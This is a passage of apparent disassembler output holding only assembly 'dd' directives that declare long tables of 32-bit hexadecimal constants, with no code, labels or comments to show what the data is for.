		dd 1D8C9055h, 0AC8C0FF5h, 0BE568073h, 6A1E510Dh, 200BE6FEh
		dd 7363C5Ah, 0B2D0A657h, 4BC0E913h, 5C9BDC52h, 0BC642F9Ah
		dd 0A9C6FBCBh, 0D98781B1h, 0F6F1CFDh, 0B1C0593Ch, 45C18098h
		dd 3E076F94h, 5A67F130h, 0C65E1B3h, 0D1F6FF1Ch,	6AB0BE0Ah
		dd 991DB028h, 0FE826A98h, 912DCFDCh, 0F4D22C26h, 0ACBE609Ah
		dd 6C0BDB1Bh, 6906E6C1h, 77284E44h, 13D3AC5Ah, 94852AC6h
		dd 0E916B9BDh, 58834274h, 0E492D831h, 0C3857754h, 0E7ED3F68h
		dd 0BF691B26h, 0D73CE8B1h, 0D8F59753h, 0F94C6DF2h, 0CE3CCA1Eh
		dd 0EAC04C2Ch, 6714657Ah, 3D14524Bh, 53320BBh, 8228FDB9h
		dd 0F751B009h, 0F381D301h, 211745B8h, 945BD9C4h, 1668043Eh
		dd 0E94A8D56h, 0D811A4DFh, 0AA045B02h, 16FBF166h, 0F9FD0802h
		dd 0FB3BFA2Ch, 5D775C61h, 1F3F3D0Ah, 0E0621238h, 0DAB8293Dh
		dd 142BC620h, 8055DEF7h, 63FE2E01h, 3AEE295Dh, 0A0229136h
		dd 907798Bh, 0DBE969C7h, 805DCB12h, 1FC9ED4Ch, 761D7E4Fh
		dd 2FECBB97h, 2EE45869h, 35B40E04h, 549265C2h, 0CF6804B4h
		dd 2EC7A34Bh, 0D1A51D49h, 51E0ADA4h, 0EC00F81h,	70D4091h
		dd 60984815h, 0E5C04812h, 23CADC2Bh, 0A7D7E5A8h, 89618081h
		dd 0D1BE8AC2h, 2D16D589h, 453FA4AAh, 980FFF9Ch,	4F843C47h
		dd 0AD194D09h, 0A4890055h, 401F5EACh, 454CF501h, 64F7FBCAh
		dd 20962F1Ch, 2C3E6CF2h, 17A71A2Bh, 0FBACF465h,	0DA138597h
		dd 0EB2CE6C2h, 0A6A2B7EEh, 0E089D008h, 21588159h, 5490E0AEh
		dd 4BAD8B99h, 0C31A12A8h, 63259D4Ch, 0D38913AAh, 0A4E2AF25h
		dd 81895284h, 97426C14h, 6E09096Fh, 0A01442D1h,	0F680651h
		dd 6078B462h, 4D771C4Bh, 54F58100h, 294FB49Fh, 215D32E9h
		dd 0A37E5942h, 614ABA00h, 5810CCAh, 3D2390E2h, 2822C710h
		dd 6FBA5200h, 0CA018814h, 20BDFCCh, 62375461h, 0E9784FE2h
		dd 3C8FB800h, 0E8C10E68h, 35480703h, 52541E39h,	3351C529h
		dd 0DFCD5992h, 5CD7286Bh, 4DC21195h, 3439AE59h,	5D055689h
		dd 0F82A865h, 446697BBh, 0B4C34B09h, 0C0F4C92h,	0BD220530h
		dd 502753E7h, 6EEE7062h, 0DD205DDh, 311DE39Ah, 603E6233h
		dd 0AD327F0Ch, 5119845h, 57681987h, 0B1A7E44Bh,	7E2E6598h
		dd 1E027D43h, 0C2AB68C7h, 64AB764Fh, 0EEDA8029h, 0A30951D7h
		dd 5C88E93Eh, 5AD58541h, 246BB221h, 0B38E9FE5h,	5B10FC85h
		dd 0A104E640h, 0E5D820D5h, 0CF2AEE3Eh, 571ED0Ch, 6FE95556h
		dd 9D58D9F0h, 0B62B1330h, 6E0D80h, 50A350Eh, 2DF1CDDh
		dd 3CE94817h, 7D3A3EA1h, 6AC76D73h, 6D03066Eh, 0EA453E5Fh
		dd 0E96348D5h, 0A66A4EF5h, 34BF7C7Ah, 0A0C8E0A4h, 862080F6h
		dd 0ABB48A90h, 5844C181h, 843BF851h, 85F3B4D4h,	0FA310D5Fh
		dd 0BF143E91h, 0DB203244h, 650B5220h, 0BD553700h, 0CB47644Ah
		dd 255DF829h, 0DD66D689h, 0D5D18AB5h, 0BA57A62h, 0B634D3DBh
		dd 0B37D108h, 19DB04ACh, 2780442Dh, 81A2280Ah, 0FB48B117h
		dd 89B155D8h, 7ADE1E09h, 2403F8E7h, 2297A41h, 5BDB4A52h
		dd 0EFC052CBh, 2A49DD2Ch, 85680B3Eh, 0F13A81B2h, 29C8CF2Bh
		dd 0A2EFFCDFh, 4367F108h, 3CDAFA29h, 0A35E7684h, 0D3661AF4h
		dd 0FF97401Ch, 307BA0A4h, 3F482F36h, 98736627h,	3C2EA8Eh
		dd 7F5D22ECh, 0AEC5254Bh, 0D25FDBEBh, 298738Ch,	0E972B02Bh
		dd 1F51D7A6h, 245E32Ch,	6FD1AFF0h, 3DDA30E2h, 0AD203862h
		dd 6426A70Dh, 3D331C4Ch, 7588BB95h, 0D0A30909h,	8B1FF057h
		dd 2B7E1EE2h, 810E003Fh, 0D56940EBh, 0E9433B09h, 500C409Ah
		dd 672060B8h, 0A93E1C2Dh, 14B4117Bh, 0D24029CBh, 49602F9Dh
		dd 53D915BBh, 66AC0136h, 0B406B7D8h, 0AA74497Dh, 9D778AADh
		dd 0E0187901h, 36B8103h, 393D94A8h, 7E5401D9h, 0C14F734h
		dd 56EB84AFh, 0FE5ABA03h, 0DACFC1BCh, 159905FCh, 0D2DA21h
		dd 0D72E7005h, 895D592Dh, 27F0C6CFh, 0D30933E9h, 0DC4FAAF1h
		dd 0D5A15B34h, 316A0775h, 795F5407h, 0B5EC99Eh,	6178594Bh
		dd 767F8F68h, 0BC0612A9h, 53DE4CACh, 0BA10C371h, 7C7B15E8h
		dd 0DE16D9B0h, 2C843436h, 0A29553EAh, 16D896D4h, 1024159h
		dd 363979C1h, 0E2277F4Bh, 4082BA46h, 262C42A9h,	24377E43h
		dd 0B0820A3h, 0FC87E950h, 9F22A992h, 0CBDAB75Ch, 0AD37D009h
		dd 5CCAE4Dh, 0A800BBE6h, 7595549h, 0FEEB5001h, 58772743h
		dd 0FA241BF0h, 29174321h, 0E95D3001h, 0DFA2B43Bh, 646820F9h
		dd 849C584Dh, 0D481C138h, 5B02A32Bh, 0A3CE9DEAh, 5EE764FFh
		dd 0C1E0014Ah, 3A76128Bh, 565C9102h, 0E6954254h, 3FA049CAh
		dd 735585Ah, 79451309h,	0FA2B895Dh, 0E1838102h,	8353757Bh
		dd 0A01514Eh, 0DC880DB3h, 60D2525Bh, 80288D18h,	240AB468h
		dd 0D55D5F3Dh, 3A11F205h, 0A55ECF04h, 621E68E4h, 66D85542h
		dd 0BF4A62DAh, 41592782h, 0AEE5F1EFh, 0C8FE1380h, 30EAB652h
		dd 61316B7h, 0D2E98934h, 0CE04B5AEh, 20C97876h,	20D10C0h
		dd 21D14E16h, 6426E92Ah, 6869463Eh, 1D9D0C45h, 0D6B34C38h
		dd 5F50BD92h, 0DA08EBC9h, 100B658h, 42456B2Dh, 334AD457h
		dd 0B23FF22Ch, 40DD6858h, 575AE914h, 88344216h,	918813C8h
		dd 68F907C6h, 50DB29A8h, 5B3C9230h, 512E5C8Dh, 696D414Ah
		dd 4066043Fh, 0D7224C08h, 7CE96517h, 296A98E1h,	10EA2DFAh
		dd 25BF427h, 11589DC3h,	0EE20BF52h, 0E18900A1h,	21685753h
		dd 347E1913h, 0C80D8A2Fh, 2F552BE6h, 0B563052Dh, 2ADA07F1h
		dd 5A6E7331h, 0E8E5352Bh, 2F885F76h, 0F4109D68h, 1295F142h
		dd 8BE66043h, 0F0DC3FDFh, 48CCE112h, 0EA150C9Ch, 4CBE58AAh
		dd 1B301214h, 8413FFDh,	5B21C83h, 4E147F47h, 5FA54957h
		dd 0BA63C9C1h, 0E823757h, 408791A8h, 81576DE1h,	0F028C1E0h
		dd 0BA96E92Ch, 0EB1EE57Fh, 6B40C592h, 298039B0h, 0CF5E4CF3h
		dd 99B4D920h, 96523C2h,	83732370h, 1BCCCC9Dh, 38D2B8E9h
		dd 0B2986815h, 5CF366A5h, 5CFB011h, 3C3B9468h, 250B9C17h
		dd 0C45CE640h, 0D8D49C96h, 79246868h, 3E6A2C27h, 0BFC878A7h
		dd 1442DD94h, 2E80E64Eh, 0F26594BEh, 0F45EC4C2h, 272FA818h
		dd 4D85C7B3h, 9F6DA442h, 10CC06C8h, 4A63ED1h, 0F32803C6h
		dd 552057C9h, 0BEE5C3F2h, 3BFA3FF0h, 0C0E2E98Fh, 0C460C4D7h
		dd 56EC7CC1h, 23F5012Eh, 0C7771A02h, 12474019h,	5CA5250Fh
		dd 0E4C9A0E8h, 2913F90Fh, 0C194E9CDh, 0FC70421Ch, 9A8082BBh
		dd 5D7B25EEh, 3E3C11Ch,	6005EBC9h, 176AC303h, 0B9FA8B3h
		dd 130E5BBFh, 8751076Bh, 4CE0689Eh, 5730F201h, 6E748294h
		dd 12D86040h, 0F821C83Eh, 57F1125Ah, 89C19502h,	0A71765CFh
		dd 0DA967EC2h, 0C649E977h, 5161799h, 5618BBF3h,	8DF5CDBAh
		dd 75120616h, 0B63160B0h, 1101048Fh, 0D561CC59h, 1CC52565h
		dd 1269A3E7h, 0A715D259h, 945848C9h, 9F9F20C5h,	4A823D0Fh
		dd 92D27075h, 3A9C30E7h, 50B20951h, 15792537h, 5251AE1Eh
		dd 7180AAD7h, 2D47D2BBh
		dd 69603F7Bh, 0AAA4C701h, 3C151A20h, 8797EB83h,	4A99B21Ch
		dd 804E4BF0h, 70EEC688h, 961BCE48h, 0E80CF725h,	73D5D34Fh
		dd 29EB5C5Ah, 0EE6401B2h, 4F9C5D4Fh, 7A639C02h,	0BB0FA8E8h
		dd 56159899h, 95D2D8Bh,	9656D62Fh, 5119808Bh, 4413F468h
		dd 94054E93h, 0FC9218B5h, 0A937521h, 1F7028E2h,	51F72295h
		dd 0BE80AFCh, 0A5C9B8D5h, 30EFF8C8h, 6B879897h,	80E8B9E2h
		dd 56B6F681h, 21130D89h, 0F4445EF0h, 8490D0E9h,	0C1DB4B8h
		dd 0C6096CF7h, 0E8654B62h, 0FCCAE77Fh, 4781377Fh, 0F5FB62B5h
		dd 881E7165h, 9E0B5DA6h, 57732022h, 3E565CBFh, 94707DC1h
		dd 184A19CBh, 6158928Eh, 8492302h, 0FF294918h, 0F2603A8h
		dd 6ED3194Ah, 76F3E780h, 0F71F7B2Ch, 4FA47D7h, 0CBA2C61Ch
		dd 40E850C2h, 5C015471h, 841BDFAh, 0C27C2C2Bh, 88F49090h
		dd 0C229E92Fh, 0F965D28h, 0A1489495h, 0A5AA433Eh, 5C50BFBFh
		dd 0DBF65064h, 0E6C4A8E8h, 6570FBE1h, 0B5217BEh, 0F12922ADh
		dd 0AEA31502h, 0D025C624h, 9AE951C5h, 0BD94DA4Fh, 0F5973085h
		dd 48031020h, 1C0CC121h, 41767B78h, 0FD36FED9h,	30456554h
		dd 1C4EB4DCh, 0A180BE27h, 32602B4Dh, 63624858h,	43BEE3D0h
		dd 0EF413365h, 0C5F8D9BEh, 2BA52E4h, 26934146h,	0C5E5D629h
		dd 0C6FE018Dh, 0CA5F1303h, 71655F0h, 719F4D20h,	5A7EEE48h
		dd 42CFCDC9h, 3ED00895h, 0D1E95416h, 77FC6350h,	72114527h
		dd 0B6B50058h, 0EA3008B2h, 984CB359h, 2821640Dh, 35C26984h
		dd 9309D5A7h, 7B0D350h,	0E55620E1h, 395B5826h, 3BAC0D44h
		dd 2DD82127h, 5A1FBCh, 0CB36CC82h, 244A4809h, 310BB209h
		dd 46058E5Ch, 1DC4AB7Eh, 2CE952EBh, 7127B7ACh, 37706188h
		dd 0BD9F003Eh, 1D8E272Eh, 95ED8117h, 8C5F60E8h,	484FE960h
		dd 79B3F113h, 5D2D0B4Bh, 504ED534h, 1089D033h, 24296FFEh
		dd 9D00C155h, 0BD66B542h, 4B831FA5h, 0DCFDD4CFh, 349844Fh
		dd 2D274ABEh, 8588F1CAh, 97571F08h, 5B6C82EEh, 0C456117Fh
		dd 0BCE30109h, 0C1E23C18h, 54633F49h, 9FEB4E30h, 0C1805529h
		dd 27F5D51h, 1F35B090h,	80BB1915h, 89406920h, 108FF94Ch
		dd 325FE0CBh, 265C7CD9h, 0F9A78F1Eh, 2DCECC89h,	860B7292h
		dd 0F0035A42h, 5F078168h, 464BED8h, 0C82918D7h,	8DC02705h
		dd 982C1922h, 0A41725DBh, 3EEBD96Ch, 1802FDCh, 0EDC078CDh
		dd 383CE907h, 1A553B81h, 77DB22C5h, 0D9DF8193h,	50592760h
		dd 1D13EF7h, 105AA97h, 700EDF2Dh, 0AF816A2Eh, 0DFBE13C4h
		dd 68B0425Fh, 0E3D37CBEh, 0F428062Bh, 29C43325h, 0ECC482E9h
		dd 9C6800EAh, 5D90D609h, 0FE82EE76h, 2FBC261Ah,	6B14EF99h
		dd 5C33E52Eh, 0BDA05127h, 0EC246C05h, 770F4754h, 943AB07h
		dd 90DA9891h, 28F7547h,	5B7824B8h, 58C0295Ah, 21DE8C1h
		dd 0F5947725h, 0A2EC03C6h, 5829B71Eh, 0E90C1CA0h, 0DFD9FEBCh
		dd 0DB94D7EEh, 1680B901h, 0A67847B3h, 0A08E357Dh, 0A2BFE81Ah
		dd 39C8AA55h, 0A531B002h, 8F39C00Ah, 3BDE2C65h,	0FDD1E45h
		dd 16F7C512h, 2BF201D0h, 204B143Ah, 65133C8Ch, 61A458BEh
		dd 1142023Fh, 0CD27E934h, 15A6C251h, 24D12508h,	0DEC82F69h
		dd 718ABEDBh, 566612A8h, 26300408h, 0EAC1049Bh,	8DFE38D0h
		dd 81B75FE3h, 359D23Bh,	0AE74EF29h, 0B6388CFCh,	83B05080h
		dd 2C07E0C0h, 602594DDh, 39DA8643h, 0E235D430h,	0D83B908h
		dd 0A8E70861h, 0C1DF023Bh, 557202EEh, 249AFB20h, 1289FE2Ch
		dd 5305E363h, 2B365F40h, 2F7501B0h, 0F8E97F86h,	0E1567A26h
		dd 0BD0D1804h, 0E3CD44AAh, 0C5E7BC25h, 0A066F837h, 68E28887h
		dd 740744BAh, 0D856AAA9h, 77C912B2h, 0EF3398C7h, 8879138Bh
		dd 37E40148h, 0F0513678h, 6713AACAh, 0EA0F6EE6h, 696D80F2h
		dd 0AA1EE949h, 0BAB355CAh, 591002B2h, 0C4A19CEEh, 0A94D2219h
		dd 929FE94h, 2551490Eh,	1254A2A7h, 0FD940C1Eh, 11A01998h
		dd 0B580B605h, 0CFD8FB88h, 4EE37C0h, 8B23564Ah,	0FD84E7EDh
		dd 0E909D3F2h, 42295E06h, 985D0A99h, 0BF376452h, 3A7B509Bh
		dd 7D05B64Fh, 4F81D901h, 0FD83F053h, 1F54B2F5h,	59FAB28Fh
		dd 0D079BFC6h, 0F5B6A4FAh, 1A7FB44Eh, 5D4099CEh, 2B919314h
		dd 6F0B1028h, 0C873B472h, 0B545EFB9h, 0BE20D966h, 0B9660E03h
		dd 0F9272DCh, 0FE1802E7h, 41FA600Dh, 70817C8h, 0B26371F1h
		dd 0FAFCCB01h, 1F1C8843h, 0E4E83149h, 3DA03C35h, 0B9FBB6Eh
		dd 0DE932250h, 4D800930h, 147BF0C5h, 70122D71h,	4FE00737h
		dd 20E1D3E5h, 0F780CBECh, 0B450F90Eh, 0F4CCC09Dh, 3204E4C0h
		dd 50AC4FEh, 8A8C5ED4h,	14F56154h, 0FCE60EA4h, 0A3BACA2Eh
		dd 0AE422CCCh, 5EF1C2C5h, 4BB5FE96h, 0D9C31A6Ch, 0F012F13Eh
		dd 0F00BD362h, 0AC27AE04h, 0C685C02Ah, 27E944F4h, 8998D72Ah
		dd 0C7AC37B3h, 5A98E42Ch, 5C0BDF9Ah, 1051AC1Eh,	0F9881C9Eh
		dd 6909CA93h, 3C76F93Ah, 0F4B3B016h, 2022F4Ch, 0D03FBD38h
		dd 0FAD342FDh, 1EA5BD96h, 4DFEC157h, 71882F11h,	5966099Dh
		dd 322E14D2h, 0FCA875Ah, 0F6F69C0h, 0E5209526h,	0E90F1212h
		dd 0EBFAEFA0h, 80504029h, 42DF9C15h, 96D75455h,	0F6E91997h
		dd 2259100Bh, 413D5558h, 32F15C1h, 5817CD89h, 0ED2A7161h
		dd 7256BD00h, 81344000h, 0D708A1E5h, 0F50CC002h, 0F7220E5Eh
		dd 2DF7DD58h, 3F0C4754h, 0AFFD8626h, 5C52AE49h,	44CB515Bh
		dd 219159A9h, 0C5880FFDh, 615C86E7h, 46D3F601h,	0A1BDBB06h
		dd 0EA88525Bh, 0C930D0C9h, 58106928h, 0DC8B7589h, 379DCF00h
		dd 0E012BEB9h, 3209F6D5h, 52EA76B4h, 81B6C48Ah,	2771812Dh
		dd 0A9750Fh, 2A93E907h,	9D485C9Ch, 6805A1CAh, 66CC7EC3h
		dd 0A6F6A050h, 7F578197h, 66837A75h, 4841E686h,	0FA07ABDDh
		dd 0B2C2A2D7h, 0B5FEF89h, 3F21D42Dh, 3462F8Bh, 202F80F9h
		dd 63341C6h, 0BE1B9464h, 210C6C29h, 0B63E281Fh,	0C0590064h
		dd 0F38002E3h, 6B5D947Ch, 5E6809F8h, 6065DC0Fh,	3EC96965h
		dd 0E9554B24h, 94576B02h, 0AE7433h, 6126E681h, 464C10B2h
		dd 0A2F879DDh, 9724A97Fh, 1C281889h, 0A1432F09h, 7BD5416h
		dd 0C0426939h, 8A37F4CDh, 10B5348h, 0A5FC4C31h,	0E081EB01h
		dd 5039C7CBh, 0E30C8210h, 7778CA77h, 0B8603C8Fh, 6FFFF782h
		dd 4CAB315Ch, 6EBC0171h, 0DA01673Ah, 802DE61h, 8804565Bh
		dd 0F027A321h, 7006CB89h, 92ACBD04h, 5368F3C9h,	13F2F14h
		dd 42B1251Bh, 76BA5F93h, 52C9C076h, 94E91361h, 683F3005h
		dd 18BF6D9Ch, 4D45E988h, 2C8B58AEh, 71F2914Bh, 19BE16A0h
		dd 617C403Fh, 0A5C0914Eh, 9046905h, 0C121C34Bh,	70C9D876h
		dd 0A4132594h, 73712268h, 319F8C19h, 6168241Eh,	0EFEB2125h
		dd 2BC4D7D1h, 5C2DFE40h, 904BF470h, 64181D9Eh, 0F2CABD8Fh
		dd 0DF3110C3h, 15A3957Fh, 68E3DE89h, 0F4AB47CDh, 58E10166h
		dd 0FEF630C0h, 0F105C17Bh, 4FB2528Ch, 66151A8h,	6C8EE905h
		dd 5C2C0442h, 9BD75A68h, 55AD3FC3h, 62406697h, 60F006F7h
		dd 0E908157Eh, 0C8B5C522h, 3D2999E5h, 0B7A63EC1h, 580B073h
		dd 4D3D9F6h, 1282A612h,	8729F52Dh, 0CF443DD4h, 0A14A460Ch
		dd 96E261Fh, 76294209h,	0A6C67AAAh, 18E2A049h, 0F2D4E7C1h
		dd 3BBAB52Eh, 0B3304BD2h, 61F5B3FCh, 2B0E0638h,	7A5DEA31h
		dd 0D369B905h, 80C1292Dh, 66033808h, 579AD8C3h,	0D1D0C089h
		dd 0CB05AD03h, 0A8093A74h, 55D570A4h, 700E251h,	5A7E6857h
		dd 0F1E9CC7Bh, 0F26CA4B7h
		dd 1C73FC6h, 914487B9h,	0F1CE2146h, 8568DE6Eh, 3A258EE6h
		dd 8B60C20Bh, 0C0835CEFh, 7B315FEEh, 84E2426h, 0BA520800h
		dd 0A0519FAFh, 655AD6DFh, 0F13A6C29h, 0C7D06B2Dh, 2E9D2504h
		dd 9D01D05h, 93793F34h,	63EE6804h, 0B4053BA2h, 0B0F4E946h
		dd 0DDEB289Eh, 0C1E75492h, 40958Eh, 0E481EBD1h,	375501F3h
		dd 5BDD8916h, 13393D31h, 1E84AFE9h, 451BC48Ah, 78B019A3h
		dd 64F9C13h, 82B05035h,	26B40BC9h, 0D889259Bh, 5A082183h
		dd 2F801804h, 0A10A7F0Dh, 8372C80h, 680ACA1Ch, 16BDB528h
		dd 4AE24E6Dh, 0EE50F589h, 73FF3CE1h, 0F6339B73h, 16010C74h
		dd 0C230E406h, 8D7C5854h, 0AF865B2Dh, 0C408D551h, 16E4281Dh
		dd 4903A08h, 3E747B5h, 8206ED80h, 0ED8B43E8h, 3E809995h
		dd 60532C29h, 30460C37h, 4A802E2Bh, 2D610B0Fh, 0D72907E9h
		dd 0D707A17Ch, 87635A11h, 134ACBD3h, 4953E90Bh,	74F2F69Ah
		dd 4A942220h, 506E4C5Ch, 714F68BFh, 39BFECC5h, 0E852BBCh
		dd 0B2A5DDFCh, 0E36810F6h, 0D6D8F61Dh, 0BF68C05Ch, 32F0BF9h
		dd 834E8223h, 0EBF180C3h, 3A21D0DAh, 82CB2956h,	0A40E48C3h
		dd 0CDCD93CFh, 7A1D0740h, 0E62C4A8Ch, 4DF2F58h,	63A45F59h
		dd 919FFEh, 9DCC2A93h, 28F696FAh, 0F7182740h, 0C9A1FA0h
		dd 314B4AA1h, 2FEF4EC0h, 0FC2285Ah, 0A98717B9h,	323B04A7h
		dd 0B9680318h, 35A9244Dh, 3BBF8023h, 0F75D9A48h, 0C147DF05h
		dd 0EFC607EFh, 0F2EEC004h, 4FF851A3h, 8D9ABFF6h, 8B215F5Fh
		dd 0FE0195CAh, 323360C4h, 0D6494F91h, 6F4E00A3h, 82E923F9h
		dd 805D09BDh, 4419EAE0h, 52140BB3h, 59DC5A59h, 22FA5F0Dh
		dd 1147D22Ah, 5A4AC6F8h, 308A1416h, 1E46BB2Fh, 80690804h
		dd 52F80114h, 993F0841h, 3CF3F22Eh, 0FE796836h,	0F2F0E0D6h
		dd 909E5B5Bh, 176850B3h, 1AF3013h, 0DD86600h, 48841D6Ch
		dd 0B920AA10h, 3E375E76h, 0CEC08D3Fh, 75B40ACCh, 0D1595E01h
		dd 629C3D77h, 0C3C504B2h, 0EEF1A2F8h, 8036C0CEh, 225582EFh
		dd 0F448B46Eh, 0D26DB8Dh, 0C305575Ch, 0E024B9E9h, 9BBD401h
		dd 253F494Ch, 0CA28ABE4h, 0A833D32Fh, 0EEF2B70Ah, 0D6740B27h
		dd 1E0F9E20h, 0CB75C578h, 59CFE241h, 26ED2828h,	0EEE2A3Bh
		dd 17B8B5E9h, 421F0EC5h, 867B3EF8h, 0E5E049EDh,	0D1C24E50h
		dd 31EA01B9h, 0D101FEF7h, 0C0CAC1E5h, 0BD1FA9D7h, 962D3922h
		dd 0B2893AF9h, 0C4FA71F1h, 9CFFEC5Ch, 88AB9218h, 238B0F16h
		dd 7F84E3D1h, 72B7B741h, 853ED34Ch, 0B8D891E4h,	0DD3C4E57h
		dd 7F0F4195h, 2C443327h, 842F0655h, 508DBA83h, 13FE2734h
		dd 0B5783801h, 0F243318Dh, 2C2A19FDh, 3C95CB6Eh, 6E622C68h
		dd 460766Bh, 138A2B74h,	10870984h, 16503DD1h, 16751A20h
		dd 0E15C3C48h, 1B90386Bh, 0B5934F60h, 585B44FFh, 7ED2F551h
		dd 1221FAC9h, 9082402Bh, 0BB2D0749h, 54697B00h,	5EF33166h
		dd 2E325C1h, 8CBC7E0h, 4F6BA0FEh, 0DE6A0216h, 0EF8FF6E5h
		dd 0D5D62164h, 303DE8BCh, 0B3530A07h, 0AE30E165h, 5AD10388h
		dd 1E046E2Ch, 0C828C7A0h, 7241D2EDh, 0C5722AE4h, 5A5F8452h
		dd 68E75C4Bh, 0D8314322h, 0BB2173Ah, 0ADAF70E1h, 55FDE8C8h
		dd 0D16CC0B5h, 18CE2C35h, 6EA702D3h, 857F1EA5h,	0C3A068DAh
		dd 3DCC7288h, 272658E3h, 0B0508109h, 7F5B24B2h,	0AD118ECDh
		dd 80044616h, 0F37E7504h, 8071515Ch, 329A2D06h,	31070B67h
		dd 4F858C2h, 56DEF716h,	372001F1h, 3E1BE84h, 28B6664h
		dd 6934E1C9h, 0A7FD04FEh, 16F13AA8h, 7D3EDD40h,	0B7564028h
		dd 0B9D75981h, 9478A4ECh, 70FEBA80h, 835C09EFh,	0DAF7027Ah
		dd 5109FE9h, 76B2F359h,	16E90FAh, 51D8811Bh, 583FBF57h
		dd 8DE97C8Ch, 566FBC60h, 116BD55h, 0BE7BD840h, 70879FFDh
		dd 0B15D8527h, 322A1379h, 77C139B8h, 2011A86Ah,	859FF2FFh
		dd 61AC4B4Ah, 54F13A04h, 0FE00BB09h, 50F22023h,	139B7105h
		dd 0B8017FECh, 98F600BEh, 0E9348049h, 0A820499Ch, 8D09C112h
		dd 0C0F06CCDh, 37B82B29h, 7FF54801h, 916E0841h,	2BC86157h
		dd 1DAEA324h, 17CB0F3Bh, 8B5787C5h, 1B597C86h, 2F473B67h
		dd 0B04BE0CCh, 0C8300005h, 0C0DD0459h, 0C0203E0h, 28472CA7h
		dd 37965FC3h, 68EB8005h, 27AE56E9h, 0AE497929h,	36C9DC41h
		dd 1E905814h, 24FC06B8h, 0ED80418h, 8CA575Eh, 7112E5C0h
		dd 0E97C4955h, 8F979D5Ah, 611D77F1h, 0E825F7F2h, 50F14058h
		dd 0CC80BBB4h, 3FD6AB48h, 51771799h, 0BC0B3227h, 0B6E49DC6h
		dd 4697C2A6h, 99E91AAEh, 70D1D13Bh, 60D1F70Bh, 0F4270F73h
		dd 90EB4C2h, 75715257h,	5E95A40h, 0AA10BD4Dh, 0D9990BC9h
		dd 93FF734Bh, 0E339A459h, 16B89840h, 93038E4h, 0F2603E3Fh
		dd 0FDF0595Ah, 80805B2Ch, 0A3686603h, 16D7A67Ah, 4765E950h
		dd 0BCEB255h, 0B0952D43h, 0D45EBB9Ch, 547AD2BCh, 120DD93h
		dd 0E6C05BFEh, 28CE8008h, 282204DEh, 1A835AF0h,	0F4FCBC0Ah
		dd 0A49608D4h, 88A4C65Eh, 45E0BF05h, 0FA016EF0h, 1CB97746h
		dd 0BC3B760h, 9115C70h,	0E70177F8h, 35C728F9h, 0F828DAE9h
		dd 802D4001h, 0EC4EAB23h, 7782C8FEh, 92036787h,	7FA4DF8h
		dd 0F240E394h, 0E7844767h, 14F60B30h, 0B6799B4Fh, 5012B05h
		dd 830C8437h, 3378A9ADh, 0C9596D04h, 0BDAC310Fh, 3BD498Fh
		dd 6C4DEFD6h, 0BCA1FEDh, 9B44353Ch, 0B14B7BA4h,	0AECA8E12h
		dd 0DB78A45Bh, 0F123A160h, 5E411A30h, 12A0A477h, 4FA8F808h
		dd 28B2401h, 6A9A42BDh,	1634C560h, 2F5EFD5Ch, 76D56AA1h
		dd 0ADF02512h, 9B2334B7h, 0E3CB0B2Ch, 4112BEFAh, 0C901200Fh
		dd 5F6430C4h, 38788683h, 54064880h, 45102EE1h, 68440BAEh
		dd 0A5FC7BFFh, 0FE162913h, 4D4C69B3h, 5F55F582h, 0C59F18ECh
		dd 0D4E5AD96h, 10BEC25h, 355BDFC7h, 7C94E91Bh, 0EE800EB2h
		dd 0AEDE0E8Dh, 85BACC6h, 0DDCEE074h, 9C06721Ch,	0EBE8D082h
		dd 8187225Fh, 55987717h, 0C006B9C1h, 0CE89D4DAh, 0DBE5202Eh
		dd 9AB5E6F0h, 655F56D9h, 9E5FADC6h, 0D5980212h,	0AF85BDE4h
		dd 6541FA58h, 67613EE7h, 2D681D48h, 0C0E62138h,	87813A7Ch
		dd 11FCF4B7h, 618C21A6h, 7BD15761h, 600C35E9h, 0EFC2042h
		dd 5B54D9C4h, 3B9E3DEAh, 60735E2Ch, 2AEE2926h, 6E4F1D11h
		dd 5BD0A6C3h, 5283056Ch, 0E456B80Eh, 0E90D04ECh, 2AB9EA96h
		dd 402250E4h, 30BD5BC0h, 82B5588Ah, 0C076005Fh,	1F5106EBh
		dd 0D7801FB1h, 9490F402h, 98B437EEh, 0C792F12Fh, 0D95EAB0Ch
		dd 9776E950h, 0EFD13C02h, 1CC931E0h, 2EAE1648h,	0DF242ADFh
		dd 21D85B92h, 0E4AFAB07h, 158A01BFh, 3014345Ah,	5D108119h
		dd 363D7824h, 0F37EC05Fh, 9094090h, 4DBF728h, 0FE18F2F9h
		dd 0FF9617F0h, 2E5E0264h, 0ECE809C7h, 0B840EA5Eh, 219568Dh
		dd 0FC01C76Dh, 0E5C28190h, 2E773A41h, 0D925367h, 61CDAA8Eh
		dd 0E1810630h, 72C1263h, 0E80B4144h, 6B31C401h,	48E48290h
		dd 0C11E010Ah, 0D7F707E7h, 4018804Fh, 897E991Ah, 0BF53B0F8h
		dd 0CD9CD9Ch, 0C3993478h, 6E3C64EBh, 0C7D7FD77h, 90DD60D6h
		dd 310A12C9h, 48C1ECC8h, 65DF06FDh, 4C883986h, 301FF102h
		dd 13A5269h, 6F7C7A75h,	0AEBF302Fh, 51807D12h, 2D5FFCACh
		dd 1A0F42ABh, 83C80102h, 0B60943D3h, 0CAEB07DAh, 0E94D76EEh
		dd 0E94270D6h, 4C30F779h, 0AB0C67DDh, 0BE16861h, 4F89BD5Ah
		dd 1825BF54h, 691FE936h, 6C65DA8Ch, 71F04825h, 3DC8B5BEh
		dd 0F16C23Bh, 0F429184h
		dd 51115868h, 432E8219h, 17427C75h, 0B65DFBA4h,	2EC521ABh
		dd 0A4E96267h, 0E7A9CF4Bh, 460AAF8Ah, 0B268B32Fh, 648D570Ch
		dd 0B697B28h, 63EDC83Ah, 796D7C64h, 0EE285E90h,	74619566h
		dd 0B6037A84h, 0DCF930CEh, 95F5CF2h, 0FE29F7C4h, 5F13CFD6h
		dd 4F1D2FF1h, 0B2BD17F8h, 85E60782h, 0B318220Eh, 1701B184h
		dd 3815D1EFh, 3F15846h,	5E27637Ch, 2D04A350h, 4FEE22F4h
		dd 0E9CE3FBCh, 0B0E64752h, 0AF5609B4h, 3BD35C25h, 0C7504E1Eh
		dd 0BBE32888h, 1E822109h, 0F0567BE6h, 0D852B163h, 4AFEDCF1h
		dd 19DDB3C9h, 931036E9h, 85789331h, 896ABE0Fh, 52FD96EFh
		dd 809DBC40h, 0C001ED80h, 0C0561E5h, 6C7404B6h,	0D4A7F4Dh
		dd 0F766C070h, 9F21E7D0h, 4283BAEBh, 0A73AC2E6h, 7D655676h
		dd 7D5098A0h, 931D5E51h, 0AE8C598Eh, 38D5AD79h,	0FF9026Fh
